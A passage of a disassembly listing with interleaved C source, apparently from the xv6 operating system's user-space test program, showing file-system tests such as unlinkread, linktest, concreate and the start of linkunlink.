13e8: e8 83 26 00 00 call 3a70 <printf>
exit();
13ed: e8 cf 24 00 00 call 38c1 <exit>
printf(1, "create failed\n");
13f2: 83 ec 08 sub $0x8,%esp
13f5: 68 df 44 00 00 push $0x44df
13fa: 6a 01 push $0x1
13fc: e8 6f 26 00 00 call 3a70 <printf>
exit();
1401: e8 bb 24 00 00 call 38c1 <exit>
printf(1, "fork failed\n");
1406: 83 ec 08 sub $0x8,%esp
1409: 68 19 4d 00 00 push $0x4d19
140e: 6a 01 push $0x1
1410: e8 5b 26 00 00 call 3a70 <printf>
exit();
1415: e8 a7 24 00 00 call 38c1 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
141a: 85 c0 test %eax,%eax
141c: 0f 88 b6 fe ff ff js 12d8 <createdelete+0xb8>
printf(1, "oops createdelete %s did exist\n", name);
1422: 50 push %eax
1423: 57 push %edi
1424: 68 74 4f 00 00 push $0x4f74
1429: 6a 01 push $0x1
142b: e8 40 26 00 00 call 3a70 <printf>
exit();
1430: e8 8c 24 00 00 call 38c1 <exit>
1435: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001440 <unlinkread>:
{
1440: 55 push %ebp
1441: 89 e5 mov %esp,%ebp
1443: 56 push %esi
1444: 53 push %ebx
printf(1, "unlinkread test\n");
1445: 83 ec 08 sub $0x8,%esp
1448: 68 b4 42 00 00 push $0x42b4
144d: 6a 01 push $0x1
144f: e8 1c 26 00 00 call 3a70 <printf>
fd = open("unlinkread", O_CREATE | O_RDWR);
1454: 5b pop %ebx
1455: 5e pop %esi
1456: 68 02 02 00 00 push $0x202
145b: 68 c5 42 00 00 push $0x42c5
1460: e8 9c 24 00 00 call 3901 <open>
if(fd < 0){
1465: 83 c4 10 add $0x10,%esp
1468: 85 c0 test %eax,%eax
146a: 0f 88 e6 00 00 00 js 1556 <unlinkread+0x116>
write(fd, "hello", 5);
1470: 83 ec 04 sub $0x4,%esp
1473: 89 c3 mov %eax,%ebx
1475: 6a 05 push $0x5
1477: 68 ea 42 00 00 push $0x42ea
147c: 50 push %eax
147d: e8 5f 24 00 00 call 38e1 <write>
close(fd);
1482: 89 1c 24 mov %ebx,(%esp)
1485: e8 5f 24 00 00 call 38e9 <close>
fd = open("unlinkread", O_RDWR);
148a: 58 pop %eax
148b: 5a pop %edx
148c: 6a 02 push $0x2
148e: 68 c5 42 00 00 push $0x42c5
1493: e8 69 24 00 00 call 3901 <open>
if(fd < 0){
1498: 83 c4 10 add $0x10,%esp
fd = open("unlinkread", O_RDWR);
149b: 89 c3 mov %eax,%ebx
if(fd < 0){
149d: 85 c0 test %eax,%eax
149f: 0f 88 10 01 00 00 js 15b5 <unlinkread+0x175>
if(unlink("unlinkread") != 0){
14a5: 83 ec 0c sub $0xc,%esp
14a8: 68 c5 42 00 00 push $0x42c5
14ad: e8 5f 24 00 00 call 3911 <unlink>
14b2: 83 c4 10 add $0x10,%esp
14b5: 85 c0 test %eax,%eax
14b7: 0f 85 e5 00 00 00 jne 15a2 <unlinkread+0x162>
fd1 = open("unlinkread", O_CREATE | O_RDWR);
14bd: 83 ec 08 sub $0x8,%esp
14c0: 68 02 02 00 00 push $0x202
14c5: 68 c5 42 00 00 push $0x42c5
14ca: e8 32 24 00 00 call 3901 <open>
write(fd1, "yyy", 3);
14cf: 83 c4 0c add $0xc,%esp
14d2: 6a 03 push $0x3
fd1 = open("unlinkread", O_CREATE | O_RDWR);
14d4: 89 c6 mov %eax,%esi
write(fd1, "yyy", 3);
14d6: 68 22 43 00 00 push $0x4322
14db: 50 push %eax
14dc: e8 00 24 00 00 call 38e1 <write>
close(fd1);
14e1: 89 34 24 mov %esi,(%esp)
14e4: e8 00 24 00 00 call 38e9 <close>
if(read(fd, buf, sizeof(buf)) != 5){
14e9: 83 c4 0c add $0xc,%esp
14ec: 68 00 20 00 00 push $0x2000
14f1: 68 60 86 00 00 push $0x8660
14f6: 53 push %ebx
14f7: e8 dd 23 00 00 call 38d9 <read>
14fc: 83 c4 10 add $0x10,%esp
14ff: 83 f8 05 cmp $0x5,%eax
1502: 0f 85 87 00 00 00 jne 158f <unlinkread+0x14f>
if(buf[0] != 'h'){
1508: 80 3d 60 86 00 00 68 cmpb $0x68,0x8660
150f: 75 6b jne 157c <unlinkread+0x13c>
if(write(fd, buf, 10) != 10){
1511: 83 ec 04 sub $0x4,%esp
1514: 6a 0a push $0xa
1516: 68 60 86 00 00 push $0x8660
151b: 53 push %ebx
151c: e8 c0 23 00 00 call 38e1 <write>
1521: 83 c4 10 add $0x10,%esp
1524: 83 f8 0a cmp $0xa,%eax
1527: 75 40 jne 1569 <unlinkread+0x129>
close(fd);
1529: 83 ec 0c sub $0xc,%esp
152c: 53 push %ebx
152d: e8 b7 23 00 00 call 38e9 <close>
unlink("unlinkread");
1532: c7 04 24 c5 42 00 00 movl $0x42c5,(%esp)
1539: e8 d3 23 00 00 call 3911 <unlink>
printf(1, "unlinkread ok\n");
153e: 58 pop %eax
153f: 5a pop %edx
1540: 68 6d 43 00 00 push $0x436d
1545: 6a 01 push $0x1
1547: e8 24 25 00 00 call 3a70 <printf>
}
154c: 83 c4 10 add $0x10,%esp
154f: 8d 65 f8 lea -0x8(%ebp),%esp
1552: 5b pop %ebx
1553: 5e pop %esi
1554: 5d pop %ebp
1555: c3 ret
printf(1, "create unlinkread failed\n");
1556: 51 push %ecx
1557: 51 push %ecx
1558: 68 d0 42 00 00 push $0x42d0
155d: 6a 01 push $0x1
155f: e8 0c 25 00 00 call 3a70 <printf>
exit();
1564: e8 58 23 00 00 call 38c1 <exit>
printf(1, "unlinkread write failed\n");
1569: 51 push %ecx
156a: 51 push %ecx
156b: 68 54 43 00 00 push $0x4354
1570: 6a 01 push $0x1
1572: e8 f9 24 00 00 call 3a70 <printf>
exit();
1577: e8 45 23 00 00 call 38c1 <exit>
printf(1, "unlinkread wrong data\n");
157c: 53 push %ebx
157d: 53 push %ebx
157e: 68 3d 43 00 00 push $0x433d
1583: 6a 01 push $0x1
1585: e8 e6 24 00 00 call 3a70 <printf>
exit();
158a: e8 32 23 00 00 call 38c1 <exit>
printf(1, "unlinkread read failed");
158f: 56 push %esi
1590: 56 push %esi
1591: 68 26 43 00 00 push $0x4326
1596: 6a 01 push $0x1
1598: e8 d3 24 00 00 call 3a70 <printf>
exit();
159d: e8 1f 23 00 00 call 38c1 <exit>
printf(1, "unlink unlinkread failed\n");
15a2: 50 push %eax
15a3: 50 push %eax
15a4: 68 08 43 00 00 push $0x4308
15a9: 6a 01 push $0x1
15ab: e8 c0 24 00 00 call 3a70 <printf>
exit();
15b0: e8 0c 23 00 00 call 38c1 <exit>
printf(1, "open unlinkread failed\n");
15b5: 50 push %eax
15b6: 50 push %eax
15b7: 68 f0 42 00 00 push $0x42f0
15bc: 6a 01 push $0x1
15be: e8 ad 24 00 00 call 3a70 <printf>
exit();
15c3: e8 f9 22 00 00 call 38c1 <exit>
15c8: 90 nop
15c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000015d0 <linktest>:
{
15d0: 55 push %ebp
15d1: 89 e5 mov %esp,%ebp
15d3: 53 push %ebx
15d4: 83 ec 0c sub $0xc,%esp
printf(1, "linktest\n");
15d7: 68 7c 43 00 00 push $0x437c
15dc: 6a 01 push $0x1
15de: e8 8d 24 00 00 call 3a70 <printf>
unlink("lf1");
15e3: c7 04 24 86 43 00 00 movl $0x4386,(%esp)
15ea: e8 22 23 00 00 call 3911 <unlink>
unlink("lf2");
15ef: c7 04 24 8a 43 00 00 movl $0x438a,(%esp)
15f6: e8 16 23 00 00 call 3911 <unlink>
fd = open("lf1", O_CREATE|O_RDWR);
15fb: 58 pop %eax
15fc: 5a pop %edx
15fd: 68 02 02 00 00 push $0x202
1602: 68 86 43 00 00 push $0x4386
1607: e8 f5 22 00 00 call 3901 <open>
if(fd < 0){
160c: 83 c4 10 add $0x10,%esp
160f: 85 c0 test %eax,%eax
1611: 0f 88 1e 01 00 00 js 1735 <linktest+0x165>
if(write(fd, "hello", 5) != 5){
1617: 83 ec 04 sub $0x4,%esp
161a: 89 c3 mov %eax,%ebx
161c: 6a 05 push $0x5
161e: 68 ea 42 00 00 push $0x42ea
1623: 50 push %eax
1624: e8 b8 22 00 00 call 38e1 <write>
1629: 83 c4 10 add $0x10,%esp
162c: 83 f8 05 cmp $0x5,%eax
162f: 0f 85 98 01 00 00 jne 17cd <linktest+0x1fd>
close(fd);
1635: 83 ec 0c sub $0xc,%esp
1638: 53 push %ebx
1639: e8 ab 22 00 00 call 38e9 <close>
if(link("lf1", "lf2") < 0){
163e: 5b pop %ebx
163f: 58 pop %eax
1640: 68 8a 43 00 00 push $0x438a
1645: 68 86 43 00 00 push $0x4386
164a: e8 d2 22 00 00 call 3921 <link>
164f: 83 c4 10 add $0x10,%esp
1652: 85 c0 test %eax,%eax
1654: 0f 88 60 01 00 00 js 17ba <linktest+0x1ea>
unlink("lf1");
165a: 83 ec 0c sub $0xc,%esp
165d: 68 86 43 00 00 push $0x4386
1662: e8 aa 22 00 00 call 3911 <unlink>
if(open("lf1", 0) >= 0){
1667: 58 pop %eax
1668: 5a pop %edx
1669: 6a 00 push $0x0
166b: 68 86 43 00 00 push $0x4386
1670: e8 8c 22 00 00 call 3901 <open>
1675: 83 c4 10 add $0x10,%esp
1678: 85 c0 test %eax,%eax
167a: 0f 89 27 01 00 00 jns 17a7 <linktest+0x1d7>
fd = open("lf2", 0);
1680: 83 ec 08 sub $0x8,%esp
1683: 6a 00 push $0x0
1685: 68 8a 43 00 00 push $0x438a
168a: e8 72 22 00 00 call 3901 <open>
if(fd < 0){
168f: 83 c4 10 add $0x10,%esp
fd = open("lf2", 0);
1692: 89 c3 mov %eax,%ebx
if(fd < 0){
1694: 85 c0 test %eax,%eax
1696: 0f 88 f8 00 00 00 js 1794 <linktest+0x1c4>
if(read(fd, buf, sizeof(buf)) != 5){
169c: 83 ec 04 sub $0x4,%esp
169f: 68 00 20 00 00 push $0x2000
16a4: 68 60 86 00 00 push $0x8660
16a9: 50 push %eax
16aa: e8 2a 22 00 00 call 38d9 <read>
16af: 83 c4 10 add $0x10,%esp
16b2: 83 f8 05 cmp $0x5,%eax
16b5: 0f 85 c6 00 00 00 jne 1781 <linktest+0x1b1>
close(fd);
16bb: 83 ec 0c sub $0xc,%esp
16be: 53 push %ebx
16bf: e8 25 22 00 00 call 38e9 <close>
if(link("lf2", "lf2") >= 0){
16c4: 58 pop %eax
16c5: 5a pop %edx
16c6: 68 8a 43 00 00 push $0x438a
16cb: 68 8a 43 00 00 push $0x438a
16d0: e8 4c 22 00 00 call 3921 <link>
16d5: 83 c4 10 add $0x10,%esp
16d8: 85 c0 test %eax,%eax
16da: 0f 89 8e 00 00 00 jns 176e <linktest+0x19e>
unlink("lf2");
16e0: 83 ec 0c sub $0xc,%esp
16e3: 68 8a 43 00 00 push $0x438a
16e8: e8 24 22 00 00 call 3911 <unlink>
if(link("lf2", "lf1") >= 0){
16ed: 59 pop %ecx
16ee: 5b pop %ebx
16ef: 68 86 43 00 00 push $0x4386
16f4: 68 8a 43 00 00 push $0x438a
16f9: e8 23 22 00 00 call 3921 <link>
16fe: 83 c4 10 add $0x10,%esp
1701: 85 c0 test %eax,%eax
1703: 79 56 jns 175b <linktest+0x18b>
if(link(".", "lf1") >= 0){
1705: 83 ec 08 sub $0x8,%esp
1708: 68 86 43 00 00 push $0x4386
170d: 68 4e 46 00 00 push $0x464e
1712: e8 0a 22 00 00 call 3921 <link>
1717: 83 c4 10 add $0x10,%esp
171a: 85 c0 test %eax,%eax
171c: 79 2a jns 1748 <linktest+0x178>
printf(1, "linktest ok\n");
171e: 83 ec 08 sub $0x8,%esp
1721: 68 24 44 00 00 push $0x4424
1726: 6a 01 push $0x1
1728: e8 43 23 00 00 call 3a70 <printf>
}
172d: 83 c4 10 add $0x10,%esp
1730: 8b 5d fc mov -0x4(%ebp),%ebx
1733: c9 leave
1734: c3 ret
printf(1, "create lf1 failed\n");
1735: 50 push %eax
1736: 50 push %eax
1737: 68 8e 43 00 00 push $0x438e
173c: 6a 01 push $0x1
173e: e8 2d 23 00 00 call 3a70 <printf>
exit();
1743: e8 79 21 00 00 call 38c1 <exit>
printf(1, "link . lf1 succeeded! oops\n");
1748: 50 push %eax
1749: 50 push %eax
174a: 68 08 44 00 00 push $0x4408
174f: 6a 01 push $0x1
1751: e8 1a 23 00 00 call 3a70 <printf>
exit();
1756: e8 66 21 00 00 call 38c1 <exit>
printf(1, "link non-existant succeeded! oops\n");
175b: 52 push %edx
175c: 52 push %edx
175d: 68 bc 4f 00 00 push $0x4fbc
1762: 6a 01 push $0x1
1764: e8 07 23 00 00 call 3a70 <printf>
exit();
1769: e8 53 21 00 00 call 38c1 <exit>
printf(1, "link lf2 lf2 succeeded! oops\n");
176e: 50 push %eax
176f: 50 push %eax
1770: 68 ea 43 00 00 push $0x43ea
1775: 6a 01 push $0x1
1777: e8 f4 22 00 00 call 3a70 <printf>
exit();
177c: e8 40 21 00 00 call 38c1 <exit>
printf(1, "read lf2 failed\n");
1781: 51 push %ecx
1782: 51 push %ecx
1783: 68 d9 43 00 00 push $0x43d9
1788: 6a 01 push $0x1
178a: e8 e1 22 00 00 call 3a70 <printf>
exit();
178f: e8 2d 21 00 00 call 38c1 <exit>
printf(1, "open lf2 failed\n");
1794: 53 push %ebx
1795: 53 push %ebx
1796: 68 c8 43 00 00 push $0x43c8
179b: 6a 01 push $0x1
179d: e8 ce 22 00 00 call 3a70 <printf>
exit();
17a2: e8 1a 21 00 00 call 38c1 <exit>
printf(1, "unlinked lf1 but it is still there!\n");
17a7: 50 push %eax
17a8: 50 push %eax
17a9: 68 94 4f 00 00 push $0x4f94
17ae: 6a 01 push $0x1
17b0: e8 bb 22 00 00 call 3a70 <printf>
exit();
17b5: e8 07 21 00 00 call 38c1 <exit>
printf(1, "link lf1 lf2 failed\n");
17ba: 51 push %ecx
17bb: 51 push %ecx
17bc: 68 b3 43 00 00 push $0x43b3
17c1: 6a 01 push $0x1
17c3: e8 a8 22 00 00 call 3a70 <printf>
exit();
17c8: e8 f4 20 00 00 call 38c1 <exit>
printf(1, "write lf1 failed\n");
17cd: 50 push %eax
17ce: 50 push %eax
17cf: 68 a1 43 00 00 push $0x43a1
17d4: 6a 01 push $0x1
17d6: e8 95 22 00 00 call 3a70 <printf>
exit();
17db: e8 e1 20 00 00 call 38c1 <exit>
000017e0 <concreate>:
{
17e0: 55 push %ebp
17e1: 89 e5 mov %esp,%ebp
17e3: 57 push %edi
if(pid && (i % 3) == 1){
17e4: bf ab aa aa aa mov $0xaaaaaaab,%edi
{
17e9: 56 push %esi
for(i = 0; i < 40; i++){
17ea: 31 f6 xor %esi,%esi
{
17ec: 53 push %ebx
17ed: 8d 5d ad lea -0x53(%ebp),%ebx
17f0: 83 ec 64 sub $0x64,%esp
printf(1, "concreate test\n");
17f3: 68 31 44 00 00 push $0x4431
17f8: 6a 01 push $0x1
17fa: e8 71 22 00 00 call 3a70 <printf>
file[0] = 'C';
17ff: c6 45 ad 43 movb $0x43,-0x53(%ebp)
file[2] = '\0';
1803: 83 c4 10 add $0x10,%esp
1806: c6 45 af 00 movb $0x0,-0x51(%ebp)
for(i = 0; i < 40; i++){
180a: eb 4c jmp 1858 <concreate+0x78>
180c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(pid && (i % 3) == 1){
1810: 89 f0 mov %esi,%eax
1812: 89 f1 mov %esi,%ecx
1814: f7 e7 mul %edi
1816: d1 ea shr %edx
1818: 8d 04 52 lea (%edx,%edx,2),%eax
181b: 29 c1 sub %eax,%ecx
181d: 83 f9 01 cmp $0x1,%ecx
1820: 0f 84 ba 00 00 00 je 18e0 <concreate+0x100>
fd = open(file, O_CREATE | O_RDWR);
1826: 83 ec 08 sub $0x8,%esp
1829: 68 02 02 00 00 push $0x202
182e: 53 push %ebx
182f: e8 cd 20 00 00 call 3901 <open>
if(fd < 0){
1834: 83 c4 10 add $0x10,%esp
1837: 85 c0 test %eax,%eax
1839: 78 67 js 18a2 <concreate+0xc2>
close(fd);
183b: 83 ec 0c sub $0xc,%esp
for(i = 0; i < 40; i++){
183e: 83 c6 01 add $0x1,%esi
close(fd);
1841: 50 push %eax
1842: e8 a2 20 00 00 call 38e9 <close>
1847: 83 c4 10 add $0x10,%esp
wait();
184a: e8 7a 20 00 00 call 38c9 <wait>
for(i = 0; i < 40; i++){
184f: 83 fe 28 cmp $0x28,%esi
1852: 0f 84 aa 00 00 00 je 1902 <concreate+0x122>
unlink(file);
1858: 83 ec 0c sub $0xc,%esp
file[1] = '0' + i;
185b: 8d 46 30 lea 0x30(%esi),%eax
unlink(file);
185e: 53 push %ebx
file[1] = '0' + i;
185f: 88 45 ae mov %al,-0x52(%ebp)
unlink(file);
1862: e8 aa 20 00 00 call 3911 <unlink>
pid = fork();
1867: e8 4d 20 00 00 call 38b9 <fork>
if(pid && (i % 3) == 1){
186c: 83 c4 10 add $0x10,%esp
186f: 85 c0 test %eax,%eax
1871: 75 9d jne 1810 <concreate+0x30>
} else if(pid == 0 && (i % 5) == 1){
1873: 89 f0 mov %esi,%eax
1875: ba cd cc cc cc mov $0xcccccccd,%edx
187a: f7 e2 mul %edx
187c: c1 ea 02 shr $0x2,%edx
187f: 8d 04 92 lea (%edx,%edx,4),%eax
1882: 29 c6 sub %eax,%esi
1884: 83 fe 01 cmp $0x1,%esi
1887: 74 37 je 18c0 <concreate+0xe0>
fd = open(file, O_CREATE | O_RDWR);
1889: 83 ec 08 sub $0x8,%esp
188c: 68 02 02 00 00 push $0x202
1891: 53 push %ebx
1892: e8 6a 20 00 00 call 3901 <open>
if(fd < 0){
1897: 83 c4 10 add $0x10,%esp
189a: 85 c0 test %eax,%eax
189c: 0f 89 2c 02 00 00 jns 1ace <concreate+0x2ee>
printf(1, "concreate create %s failed\n", file);
18a2: 83 ec 04 sub $0x4,%esp
18a5: 53 push %ebx
18a6: 68 44 44 00 00 push $0x4444
18ab: 6a 01 push $0x1
18ad: e8 be 21 00 00 call 3a70 <printf>
exit();
18b2: e8 0a 20 00 00 call 38c1 <exit>
18b7: 89 f6 mov %esi,%esi
18b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
link("C0", file);
18c0: 83 ec 08 sub $0x8,%esp
18c3: 53 push %ebx
18c4: 68 41 44 00 00 push $0x4441
18c9: e8 53 20 00 00 call 3921 <link>
18ce: 83 c4 10 add $0x10,%esp
exit();
18d1: e8 eb 1f 00 00 call 38c1 <exit>
18d6: 8d 76 00 lea 0x0(%esi),%esi
18d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
link("C0", file);
18e0: 83 ec 08 sub $0x8,%esp
for(i = 0; i < 40; i++){
18e3: 83 c6 01 add $0x1,%esi
link("C0", file);
18e6: 53 push %ebx
18e7: 68 41 44 00 00 push $0x4441
18ec: e8 30 20 00 00 call 3921 <link>
18f1: 83 c4 10 add $0x10,%esp
wait();
18f4: e8 d0 1f 00 00 call 38c9 <wait>
for(i = 0; i < 40; i++){
18f9: 83 fe 28 cmp $0x28,%esi
18fc: 0f 85 56 ff ff ff jne 1858 <concreate+0x78>
memset(fa, 0, sizeof(fa));
1902: 83 ec 04 sub $0x4,%esp
1905: 8d 45 c0 lea -0x40(%ebp),%eax
1908: 6a 28 push $0x28
190a: 6a 00 push $0x0
190c: 50 push %eax
190d: e8 0e 1e 00 00 call 3720 <memset>
fd = open(".", 0);
1912: 5e pop %esi
1913: 5f pop %edi
1914: 6a 00 push $0x0
1916: 68 4e 46 00 00 push $0x464e
191b: 8d 7d b0 lea -0x50(%ebp),%edi
191e: e8 de 1f 00 00 call 3901 <open>
n = 0;
1923: c7 45 a4 00 00 00 00 movl $0x0,-0x5c(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
192a: 83 c4 10 add $0x10,%esp
fd = open(".", 0);
192d: 89 c6 mov %eax,%esi
n = 0;
192f: 90 nop
while(read(fd, &de, sizeof(de)) > 0){
1930: 83 ec 04 sub $0x4,%esp
1933: 6a 10 push $0x10
1935: 57 push %edi
1936: 56 push %esi
1937: e8 9d 1f 00 00 call 38d9 <read>
193c: 83 c4 10 add $0x10,%esp
193f: 85 c0 test %eax,%eax
1941: 7e 3d jle 1980 <concreate+0x1a0>
if(de.inum == 0)
1943: 66 83 7d b0 00 cmpw $0x0,-0x50(%ebp)
1948: 74 e6 je 1930 <concreate+0x150>
if(de.name[0] == 'C' && de.name[2] == '\0'){
194a: 80 7d b2 43 cmpb $0x43,-0x4e(%ebp)
194e: 75 e0 jne 1930 <concreate+0x150>
1950: 80 7d b4 00 cmpb $0x0,-0x4c(%ebp)
1954: 75 da jne 1930 <concreate+0x150>
i = de.name[1] - '0';
1956: 0f be 45 b3 movsbl -0x4d(%ebp),%eax
195a: 83 e8 30 sub $0x30,%eax
if(i < 0 || i >= sizeof(fa)){
195d: 83 f8 27 cmp $0x27,%eax
1960: 0f 87 50 01 00 00 ja 1ab6 <concreate+0x2d6>
if(fa[i]){
1966: 80 7c 05 c0 00 cmpb $0x0,-0x40(%ebp,%eax,1)
196b: 0f 85 2d 01 00 00 jne 1a9e <concreate+0x2be>
fa[i] = 1;
1971: c6 44 05 c0 01 movb $0x1,-0x40(%ebp,%eax,1)
n++;
1976: 83 45 a4 01 addl $0x1,-0x5c(%ebp)
197a: eb b4 jmp 1930 <concreate+0x150>
197c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
close(fd);
1980: 83 ec 0c sub $0xc,%esp
1983: 56 push %esi
1984: e8 60 1f 00 00 call 38e9 <close>
if(n != 40){
1989: 83 c4 10 add $0x10,%esp
198c: 83 7d a4 28 cmpl $0x28,-0x5c(%ebp)
1990: 0f 85 f5 00 00 00 jne 1a8b <concreate+0x2ab>
for(i = 0; i < 40; i++){
1996: 31 f6 xor %esi,%esi
1998: eb 48 jmp 19e2 <concreate+0x202>
199a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
((i % 3) == 1 && pid != 0)){
19a0: 85 ff test %edi,%edi
19a2: 74 05 je 19a9 <concreate+0x1c9>
19a4: 83 fa 01 cmp $0x1,%edx
19a7: 74 64 je 1a0d <concreate+0x22d>
unlink(file);
19a9: 83 ec 0c sub $0xc,%esp
19ac: 53 push %ebx
19ad: e8 5f 1f 00 00 call 3911 <unlink>
unlink(file);
19b2: 89 1c 24 mov %ebx,(%esp)
19b5: e8 57 1f 00 00 call 3911 <unlink>
unlink(file);
19ba: 89 1c 24 mov %ebx,(%esp)
19bd: e8 4f 1f 00 00 call 3911 <unlink>
unlink(file);
19c2: 89 1c 24 mov %ebx,(%esp)
19c5: e8 47 1f 00 00 call 3911 <unlink>
19ca: 83 c4 10 add $0x10,%esp
if(pid == 0)
19cd: 85 ff test %edi,%edi
19cf: 0f 84 fc fe ff ff je 18d1 <concreate+0xf1>
wait();
19d5: e8 ef 1e 00 00 call 38c9 <wait>
for(i = 0; i < 40; i++){
19da: 83 c6 01 add $0x1,%esi
19dd: 83 fe 28 cmp $0x28,%esi
19e0: 74 7e je 1a60 <concreate+0x280>
file[1] = '0' + i;
19e2: 8d 46 30 lea 0x30(%esi),%eax
19e5: 88 45 ae mov %al,-0x52(%ebp)
pid = fork();
19e8: e8 cc 1e 00 00 call 38b9 <fork>
19ed: 89 c7 mov %eax,%edi
if(pid < 0){
19ef: 85 c0 test %eax,%eax
19f1: 0f 88 80 00 00 00 js 1a77 <concreate+0x297>
if(((i % 3) == 0 && pid == 0) ||
19f7: b8 ab aa aa aa mov $0xaaaaaaab,%eax
19fc: f7 e6 mul %esi
19fe: d1 ea shr %edx
1a00: 8d 04 52 lea (%edx,%edx,2),%eax
1a03: 89 f2 mov %esi,%edx
1a05: 29 c2 sub %eax,%edx
1a07: 89 d0 mov %edx,%eax
1a09: 09 f8 or %edi,%eax
1a0b: 75 93 jne 19a0 <concreate+0x1c0>
close(open(file, 0));
1a0d: 83 ec 08 sub $0x8,%esp
1a10: 6a 00 push $0x0
1a12: 53 push %ebx
1a13: e8 e9 1e 00 00 call 3901 <open>
1a18: 89 04 24 mov %eax,(%esp)
1a1b: e8 c9 1e 00 00 call 38e9 <close>
close(open(file, 0));
1a20: 58 pop %eax
1a21: 5a pop %edx
1a22: 6a 00 push $0x0
1a24: 53 push %ebx
1a25: e8 d7 1e 00 00 call 3901 <open>
1a2a: 89 04 24 mov %eax,(%esp)
1a2d: e8 b7 1e 00 00 call 38e9 <close>
close(open(file, 0));
1a32: 59 pop %ecx
1a33: 58 pop %eax
1a34: 6a 00 push $0x0
1a36: 53 push %ebx
1a37: e8 c5 1e 00 00 call 3901 <open>
1a3c: 89 04 24 mov %eax,(%esp)
1a3f: e8 a5 1e 00 00 call 38e9 <close>
close(open(file, 0));
1a44: 58 pop %eax
1a45: 5a pop %edx
1a46: 6a 00 push $0x0
1a48: 53 push %ebx
1a49: e8 b3 1e 00 00 call 3901 <open>
1a4e: 89 04 24 mov %eax,(%esp)
1a51: e8 93 1e 00 00 call 38e9 <close>
1a56: 83 c4 10 add $0x10,%esp
1a59: e9 6f ff ff ff jmp 19cd <concreate+0x1ed>
1a5e: 66 90 xchg %ax,%ax
printf(1, "concreate ok\n");
1a60: 83 ec 08 sub $0x8,%esp
1a63: 68 96 44 00 00 push $0x4496
1a68: 6a 01 push $0x1
1a6a: e8 01 20 00 00 call 3a70 <printf>
}
1a6f: 8d 65 f4 lea -0xc(%ebp),%esp
1a72: 5b pop %ebx
1a73: 5e pop %esi
1a74: 5f pop %edi
1a75: 5d pop %ebp
1a76: c3 ret
printf(1, "fork failed\n");
1a77: 83 ec 08 sub $0x8,%esp
1a7a: 68 19 4d 00 00 push $0x4d19
1a7f: 6a 01 push $0x1
1a81: e8 ea 1f 00 00 call 3a70 <printf>
exit();
1a86: e8 36 1e 00 00 call 38c1 <exit>
printf(1, "concreate not enough files in directory listing\n");
1a8b: 51 push %ecx
1a8c: 51 push %ecx
1a8d: 68 e0 4f 00 00 push $0x4fe0
1a92: 6a 01 push $0x1
1a94: e8 d7 1f 00 00 call 3a70 <printf>
exit();
1a99: e8 23 1e 00 00 call 38c1 <exit>
printf(1, "concreate duplicate file %s\n", de.name);
1a9e: 83 ec 04 sub $0x4,%esp
1aa1: 8d 45 b2 lea -0x4e(%ebp),%eax
1aa4: 50 push %eax
1aa5: 68 79 44 00 00 push $0x4479
1aaa: 6a 01 push $0x1
1aac: e8 bf 1f 00 00 call 3a70 <printf>
exit();
1ab1: e8 0b 1e 00 00 call 38c1 <exit>
printf(1, "concreate weird file %s\n", de.name);
1ab6: 83 ec 04 sub $0x4,%esp
1ab9: 8d 45 b2 lea -0x4e(%ebp),%eax
1abc: 50 push %eax
1abd: 68 60 44 00 00 push $0x4460
1ac2: 6a 01 push $0x1
1ac4: e8 a7 1f 00 00 call 3a70 <printf>
exit();
1ac9: e8 f3 1d 00 00 call 38c1 <exit>
close(fd);
1ace: 83 ec 0c sub $0xc,%esp
1ad1: 50 push %eax
1ad2: e8 12 1e 00 00 call 38e9 <close>
1ad7: 83 c4 10 add $0x10,%esp
1ada: e9 f2 fd ff ff jmp 18d1 <concreate+0xf1>
1adf: 90 nop
00001ae0 <linkunlink>:
{
1ae0: 55 push %ebp
1ae1: 89 e5 mov %esp,%ebp
1ae3: 57 push %edi
1ae4: 56 push %esi
1ae5: 53 push %ebx
1ae6: 83 ec 24 sub $0x24,%esp
printf(1, "linkunlink test\n");
1ae9: 68 a4 44 00 00 push $0x44a4
1aee: 6a 01 push $0x1
1af0: e8 7b 1f 00 00 call 3a70 <printf>
unlink("x");
1af5: c7 04 24 31 47 00 00 movl $0x4731,(%esp)
1afc: e8 10 1e 00 00 call 3911 <unlink>
pid = fork();
1b01: e8 b3 1d 00 00 call 38b9 <fork>
if(pid < 0){
1b06: 83 c4 10 add $0x10,%esp
pid = fork();
1b09: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
1b0c: 85 c0 test %eax,%eax
1b0e: 0f 88 b6 00 00 00 js 1bca <linkunlink+0xea>
unsigned int x = (pid ? 1 : 97);
1b14: 83 7d e4 01 cmpl $0x1,-0x1c(%ebp)
1b18: bb 64 00 00 00 mov $0x64,%ebx
if((x % 3) == 0){
1b1d: be ab aa aa aa mov $0xaaaaaaab,%esi
unsigned int x = (pid ? 1 : 97);
1b22: 19 ff sbb %edi,%edi
1b24: 83 e7 60 and $0x60,%edi
1b27: 83 c7 01 add $0x1,%edi
1b2a: eb 1e jmp 1b4a <linkunlink+0x6a>
1b2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if((x % 3) == 1){
1b30: 83 fa 01 cmp $0x1,%edx
1b33: 74 7b je 1bb0 <linkunlink+0xd0>
unlink("x");
1b35: 83 ec 0c sub $0xc,%esp
1b38: 68 31 47 00 00 push $0x4731
1b3d: e8 cf 1d 00 00 call 3911 <unlink>
1b42: 83 c4 10 add $0x10,%esp
for(i = 0; i < 100; i++){
1b45: 83 eb 01 sub $0x1,%ebx
1b48: 74 3d je 1b87 <linkunlink+0xa7>
x = x * 1103515245 + 12345;
1b4a: 69 cf 6d 4e c6 41 imul $0x41c64e6d,%edi,%ecx
1b50: 8d b9 39 30 00 00 lea 0x3039(%ecx),%edi
if((x % 3) == 0){
1b56: 89 f8 mov %edi,%eax
1b58: f7 e6 mul %esi
1b5a: d1 ea shr %edx
1b5c: 8d 04 52 lea (%edx,%edx,2),%eax
1b5f: 89 fa mov %edi,%edx
1b61: 29 c2 sub %eax,%edx
1b63: 75 cb jne 1b30 <linkunlink+0x50>
